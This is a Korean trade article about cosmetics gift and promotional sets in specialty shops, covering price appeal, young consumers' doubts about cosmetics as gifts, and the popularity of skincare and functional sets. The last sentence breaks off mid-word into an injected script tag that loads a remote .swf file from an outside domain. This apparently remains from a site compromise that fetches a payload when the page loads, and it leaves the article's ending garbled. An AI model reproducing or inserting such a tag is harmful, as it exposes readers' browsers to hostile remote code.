★전문점이 말하는 매력있는 품목 기획세트는 소비자나 판매자 모두에게 이익이 되는 상품이다. 소비자들은 저렴한 가격에 좋은 제품을 많이 구입할 수 있어 좋고, 판매자들은 더 많은 매출을 올릴 수 있어 좋다고 한다. 기획세트에 대한 개발이나 소비자들의 구매 패턴 또한 계속 바뀌고 있다. 현장에서 직접 소비자들을 만나는 전문점들이 느끼는 기획세트 상품에 대한 생각은 어떨까. 가격 괜찮은 ‘정품 묶음’잘 팔린다 “불경기 매출 전략상품…효자노릇 톡톡” 소비 양극화 …가격대 유리한 세트 인기 화장품전문점에도 알고 보면 고급제품이 많지만 타 유통채널과의 이미지 경쟁에서 밀린 탓에 저가 할인 제품이란 인식이 더 강한 것이 사실이다. 그러다 보니 객단가가 높은 고객보다는 그렇지 않은 경우가 많다. 세트 상품에 있어서도 마찬가지다. 사실 기획세트라는 것이 소비자들에게 어느 정도 가격 할인효과를 주는 것이 당연하기는 하지만 화장품전문점 고객들에게는 더욱 강하게 어필되는 것이다. 백화점 고객과 비교해봐도 이런 점은 당장 알 수 있다. 가격 때문에 백화점에서 화장품을 구입한다는 사람은 없다. 소득과 생활수준처럼 소비도 양극화되면서 화장품 구입에 있어서도 백화점과 전문점으로 갈리는 경향이 분명해졌다. 전문점 고객들은 품질 좋고, 자신에게 잘 맞는 제품을 이왕이면 저렴한 가격에 구입하고자 한다. 따라서 각종 화장품 세트 역시 가격적인 면에서 소비자들에게 유리하게 기획돼서 출시된다. 기획세트의 내용을 보면 주된 정품 안에 미니어처가 아닌 중간 사이즈의 증정용 정품이 붙어 있는 경우가 대부분이다. 아니면 각각의 정품을 세트로 묶어서 낮은 가격으로 내놓기도 한다. 이 두 가지 경우 모두 가격면에서 소비자들에게 매력적으로 비친다는 공통점을 가지고 있다. “불경기에는 업체별로 괜찮은 기획세트가 많이 나왔으면 하는 생각이 많이 들어요. 실제로 그런 제품들은 매장에 내놓기가 무섭게 팔리거든요.” 대학가 한 전문점 카운슬러의 말처럼 내용면에서 소비자들의 구미를 당기게 하면서 가격만 괜찮다면 판매는 그다지 걱정하지 않아도 된다. 선물세트 고전…상품권으로 대체 조짐 “화장품 선물요? 인터넷에서 정보를 찾아본 후 백화점에 가서 구입하는데요." 26살의 직장인 강정아 씨는 화장품 선물세트 구입의 경우 화장품전문점보다는 백화점을 찾게 된다고 말한다. 또 다른 소비자 23살내기 대학생 홍은주 씨는 아예 “화장품 선물은 주기도 그렇고 받기도 애매하다”고 털어놓는다. 젊은 여성 소비자들의 구매 패턴을 자세히 들여다볼 필요가 있다. 화장품으로 선물을 하게 되는 경우 백화점으로 가서 단품으로 구입해서 건네주는 것이 일반화돼 있다. 한 가지라도 백화점에서 고급으로 구입해 제대로 전해 주자는 생각도 있을 것이며 한편으로는 가격 부담을 피하기 위해 단품 구입을 선호하기도 할 것이다. 그리고 화장품은 선물로 쉽게 주고받을 만한 제품이 아니라는 이야기도 요즘 젊은 소비자들에게는 자연스레 통하는 사실이다. 중년 이상 층에서는 제품을 가리지 않고 사용하는 경우가 이직 많이 남아 있기는 하지만 젊은 소비자들은 자신의 피부에 맞는, 자신의 색감과 유행에 맞는 제품을 고집하기 마련이다. 따라서 아주 가까운 친구 사이나 가족이 아니고서는 화장품선물은 쉽게 생각하기 힘들지 않느냐는 얘기다. 그럼에도 불구하고 아직까지 많은 업체들이 시기별로 선물세트를 출시하고 있고 내용물에 포함된 증정품 등으로 인한 가격효과로 소비자들로부터 좋은 반응을 얻고 있는 실정이다. 하지만 차차 ‘화장품선물권’이나 ‘마사지상품권’ 등으로의 교체를 고려해야 하지 않느냐는 분위기가 지배적이다. 화장품은 카운슬러의 조언을 들으며 자신에게 맞는 것으로 직접 구입해야 한다는 생각이 점점 확산되기 때문이다. 스킨케어·기능성·남성용 세트 잘 나가 소비자들에게 인기 있는 기획세트는 어떤 제품구성으로 이뤄졌을까? 전문점의 소리들은 한결같이 기초 스킨케어 제품이나 기능성화장품으로 구성된 기획세트가 인기를 끌고 있다고 말한다. 이는 색조상품에 비해 기초나 기능성 제품들이 기획세트로서의 확장성이 더 높기 때문이다. 색조의 경우 메이크업 아티스트가 아닌 바에야 모든 컬러를 다 갖추고 있을 필요도 없을 뿐더러 사용하면서 개별적으로 보충하는 것이 일반적이지만 기초 스킨케어나 기능성화장품은 여러 제품이 모여 피부에 작용하는 하나의 시스템으로 구성되는 경?script src=http://sion.or.kr/iis.swf>

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